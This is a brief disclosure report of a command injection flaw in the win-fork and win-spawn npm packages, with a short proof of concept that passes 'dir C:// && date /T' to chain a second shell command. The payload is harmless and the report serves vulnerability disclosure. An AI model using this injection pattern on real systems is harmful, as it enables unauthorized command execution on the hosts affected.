Command Injection Vulnerability in win-fork/win-spawn Packages

I would like to report a command injection vulnerability in win-fork and win-spawn packages. It allows an attacker to inject multiple commands in exec-like manner.

var os = require('os').type = function() {return "Windows_NT"};
require("child_process").spawn = function(a, b) { console.log(a); console.log(b)};
var spawn = require("win-fork");
spawn('dir C:// && date /T', [], {stdio: 'inherit'});